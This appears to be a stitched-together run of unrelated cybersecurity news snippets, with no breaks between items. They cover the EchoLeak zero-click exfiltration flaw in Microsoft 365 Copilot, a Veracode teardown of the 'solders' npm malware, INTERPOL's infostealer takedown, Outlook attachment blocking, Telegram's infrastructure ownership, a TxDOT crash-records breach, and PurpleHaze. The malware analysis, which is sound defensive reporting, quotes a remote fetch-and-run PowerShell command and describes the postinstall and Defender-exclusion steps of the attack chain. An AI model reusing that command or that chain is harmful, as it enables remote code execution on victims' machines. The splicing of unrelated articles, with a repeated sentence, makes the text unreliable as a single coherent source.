A new attack dubbed 'EchoLeak' is the first known zero-click AI vulnerability that enables attackers to exfiltrate sensitive data from Microsoft 365 Copilot from a user's context without interaction.
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Hidden under layers of obfuscation, an npm package delivers a remote access tool. Application Security for the AI Era
In the ever-vigilant effort to secure the open-source ecosystem, Veracode’s continuous monitoring systems recently flagged a pair of npm malware packages—solders and @mediawave/lib. The malicious behavior, however, is not at all obvious at first because of a layer of unusual Unicode obfuscation that caught our attention. Our investigation focused on the solders package, which leverages a common yet critical attack vector: a postinstall script in its package.json. This hook means that simply installing the package is enough to trigger its hidden malicious payload.
Upon inspection, the target lib.js file presented itself not as typical code, but as a dizzying wall of Unicode characters, predominantly Japanese Katakana and Hiragana. This was far more than simple character substitution; it was the entry point to an extremely layered and complex malicious attack chain. What began as an analysis of a single, clever JavaScript obfuscation technique quickly spiraled into a deep-dive that traversed multiple programming languages, downloader stages, and even steganography. Join us as we peel back each layer of this remarkably elaborate attack, following the trail from a few cryptic symbols all the way down to its final RAT payload.
TL;DR
If you’re just here for the highlights and want to see the full, multi-layered attack chain in a concise format, please scroll down to the “Recap: The Anatomy of a Multi-Layered Attack” section. There, we detail each of the twelve layers we had to unravel to get to the bottom of this threat.
This investigation revealed a remarkably deep and complex attack chain. To fully appreciate the attacker’s efforts to evade detection, here is a step-by-step summary of the layers we unraveled:
Layer 1: NPM postinstall Hook: The attack begins with a standard postinstall script in the package.json file, automatically executing the malware upon installation.
Layer 2: Unicode Obfuscated JavaScript: The initial lib.js payload is obfuscated using Japanese Hiragana and Katakana characters as variable names, making static analysis nearly impossible at a glance.
Layer 3: Dynamically Reconstructed JavaScript: This Unicode script is not a direct payload, but a program designed to dynamically build primitives (e.g., ‘t’, ‘r’, ‘u’, ‘e’) and reconstruct the Function constructor from scratch.
Layer 4: Second-Stage Obfuscated JavaScript: The Unicode layer dynamically assembles and executes a second, more traditionally obfuscated JavaScript payload that uses array shuffling and hex encoding.
Layer 5: PowerShell Downloader: Once deobfuscated, the JavaScript’s sole purpose is to execute a short PowerShell command (iwr firewall[.]tel | iex) to download and execute the next stage from a remote server.
Layer 6: Binary-Encoded PowerShell Script: The script hosted at firewall[.]tel is itself obfuscated, with the payload encoded as arrays of binary strings that are converted to ASCII characters and executed.
Layer 7: Base64-Encoded PowerShell Script: Deobfuscating the binary strings reveals another PowerShell script. This one uses Base64 encoding to hide its commands which include adding Windows Defender exclusions and downloading a malicious batch file.
Layer 8: Obfuscated Batch File: The downloaded output.bat (nearly 1MB in size) uses extensive obfuscation, setting hundreds of random environment variables and then concatenating them in a specific order.
Layer 9: Encrypted & Compressed .NET DLL: The batch script’s true payload is a Base64-encoded, 3DES-encrypted, and Gzip-compressed .NET DLL, which is reconstructed and loaded directly into memory.
Layer 10: Steganography: This first .NET DLL is not the final payload. It reaches out to a 3MB PNG image file hosted online and uses steganography techniques to extract hidden data from the image.
Layer 11: Second .NET DLL (The RAT): The data extracted from the image is used to build a second .NET DLL in memory.
Layer 12: Final Payload Deployment: This final DLL is the Pulsar RAT, a remote administration tool that gives the attacker full control over the victim’s machine.
41 servers seized and 32 suspects arrested during Operation Secure.
More than 20,000 malicious IP addresses or domains linked to information stealers have been taken down in an INTERPOL-coordinated operation against cybercriminal infrastructure.
During Operation Secure (January – April 2025) law enforcement agencies from 26 countries worked to locate servers, map physical networks and execute targeted takedowns.
Ahead of the operation, INTERPOL cooperated with private-sector partners Group-IB, Kaspersky and Trend Micro to produce Cyber Activity Reports, sharing critical intelligence with cyber teams across Asia. These coordinated efforts resulted in the takedown of 79 per cent of identified suspicious IP addresses.
Participating countries reported the seizure of 41 servers and over 100 GB of data, as well as the arrest of 32 suspects linked to illegal cyber activities.
Infostealer malware is a primary tool for gaining unauthorized access to organizational networks. This type of malicious software extracts sensitive data from infected devices, often referred to as bots. The stolen information typically includes browser credentials, passwords, cookies, credit card details and cryptocurrency wallet data.
Additionally, logs harvested by infostealers are increasingly traded on the cybercriminal underground and are frequently used as a gateway for further attacks. These logs often enable initial access for ransomware deployments, data breaches, and cyber-enabled fraud schemes such as Business Email Compromise (BEC).
Following the operation, authorities notified over 216,000 victims and potential victims so they could take immediate action - such as changing passwords, freezing accounts, or removing unauthorized access.
Vietnamese police arrested 18 suspects, seizing devices from their homes and workplaces. The group's leader was found with over VND 300 million (USD 11,500) in cash, SIM cards and business registration documents, pointing to a scheme to open and sell corporate accounts.
As part of their respective enforcement efforts under Operation Secure, house raids were carried out by authorities in Sri Lanka and Nauru. These actions led to the arrest of 14 individuals - 12 in Sri Lanka and two in Nauru - as well as the identification of 40 victims.
The Hong Kong Police analysed over 1,700 pieces of intelligence provided by INTERPOL and identified 117 command-and-control servers hosted across 89 internet service providers. These servers were used by cybercriminals as central hubs to launch and manage malicious campaigns, including phishing, online fraud and social media scams.
Neal Jetton, INTERPOL’s Director of Cybercrime, said:
“INTERPOL continues to support practical, collaborative action against global cyber threats. Operation Secure has once again shown the power of intelligence sharing in disrupting malicious infrastructure and preventing large-scale harm to both individuals and businesses.”
Notes to editors
Operation Secure is a regional initiative organized under the Asia and South Pacific Joint Operations Against Cybercrime (ASPJOC) Project.
Participating countries: Brunei, Cambodia, Fiji, Hong Kong (China), India, Indonesia, Japan, Kazakhstan, Kiribati, Korea (Rep of), Laos, Macau (China), Malaysia, Maldives, Nauru, Nepal, Papua New Guinea, Philippines, Samoa, Singapore, Solomon Islands, Sri Lanka, Thailand, Timor-Leste, Tonga, Vanuatu, Vietnam.
Microsoft announced it will expand the list of blocked attachments in Outlook Web and the new Outlook for Windows starting next month.
Microsoft announced it will expand the list of blocked attachments in Outlook Web and the new Outlook for Windows starting next month.
The company said on Monday in a Microsoft 365 Message Center update that Outlook will block .library-ms and .search-ms file types beginning in July.
"As part of our ongoing efforts to enhance security in Outlook Web and the New Outlook for Windows, we're updating the default list of blocked file types in OwaMailboxPolicy," Microsoft said. "Starting in early July 2025, the [.library-ms and .search-ms] file types will be added to the BlockedFileTypes list."
The technical infrastructure that underpins Telegram is controlled by a man whose companies have collaborated with Russian intelligence services. An investigation by IStories
Telegram, the wildly popular chat and messaging app, is the pride of the Russian IT industry. According to Pavel Durov, the enigmatic entrepreneur who created the service twelve years ago, it now has over a billion monthly active users around the world.
Among the reasons for this success is Telegram’s reputation for security, coupled with Durov’s image as a free speech champion who has defied multiple governments.
“Unlike some of our competitors, we don’t trade privacy for market share,” he wrote this April. “In its 12-year history, Telegram has never disclosed a single byte of private messages.”
But IStories’ new investigation reveals a critical vulnerability.
When we investigated who controls the infrastructure that keeps Telegram’s billions of messages flowing, we found a man with no public profile but unparalleled access: Vladimir Vedeneev, a 45-year-old network engineer.
Vedeneev owns the company that maintains Telegram’s networking equipment and assigns thousands of its IP addresses. Court documents show that he was granted exclusive access to some of Telegram’s servers and was even empowered to sign contracts on Telegram’s behalf.
There is no evidence that this company has worked with the Russian government or provided any data. But two other closely linked Vedeneev companies — one of which also assigns Telegram IP addresses, and another which did so until 2020 — have had multiple highly sensitive clients tied to the security services. Among their clients is the FSB intelligence agency; a secretive “research computing center” that helped plan the invasion of Ukraine and developed tools to deanonymize internet users; and a flagship state-owned nuclear research laboratory.
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“If true, this reporting highlights the dangerous disconnect between what many believe about Telegram’s security and privacy features, and the reality," said John Scott-Railton, a Senior Researcher at The Citizen Lab. "When people don't know what is actually going on, but assume they have metadata privacy, they can unknowingly make risky choices, bringing danger to themselves and the people they’re communicating with. This is doubly true if the Russian government sees them as a threat."
A Ukrainian IT specialist who spoke with IStories on condition of anonymity said that the Russian military has used “man-in-the-middle” type surveillance in his country after capturing network infrastructure.
"You get physical access to the data transmission channel and install your equipment there,” he said. “In such an attack, the hackers aren’t even interested so much in the user's correspondence. They get metadata to analyze. And that means IP addresses, user locations, who exchanges data packets with whom, the kind of data it is… really, all possible information.”
Durov is currently under investigation in France after being arrested last August on charges related to the circulation of illegal content on Telegram. The company has since implemented a number of measures to crack down and step up its collaboration with the authorities. Durov has been released under judicial supervision and is allowed to travel.
He did not reply to requests for comment. Vedeneev spoke with IStories but declined to make any of his comments public.
A compromise of an account has led to improper downloads of a large number of crash records, and the Texas Department of Transportation (TxDOT) is working to notify those affected.
On May 12, 2025, TxDOT identified unusual activity in its Crash Records Information System (CRIS). Further investigation revealed the activity originated from an account that was compromised and used to improperly access and download nearly 300,000 crash reports. TxDOT immediately disabled access from the compromised account.
Personal information included in crash records may contain: first and last name, mailing and/or physical address, driver license number, license plate number, car insurance policy number and other information. Notification, in this case, is not required by law, but TxDOT has taken proactive steps to inform the public by sending letters to notify the impacted individuals whose information was included in the crash reports.
If you received
a
letter about this matter, please call the dedicated assistance line at 1-833-918-5951 (toll-free), Monday through Friday, from 8 a.m. – 8 p.m. Central Time (excluding U.S. holidays). Please be prepared to provide the engagement number included in the letter.
TxDOT is implementing additional security measures for accounts to help prevent similar incidents in the future. The compromise is under investigation.
This report uncovers a set of related threat clusters linked to PurpleHaze and ShadowPad operators targeting organizations, including cybersecurity vendors.
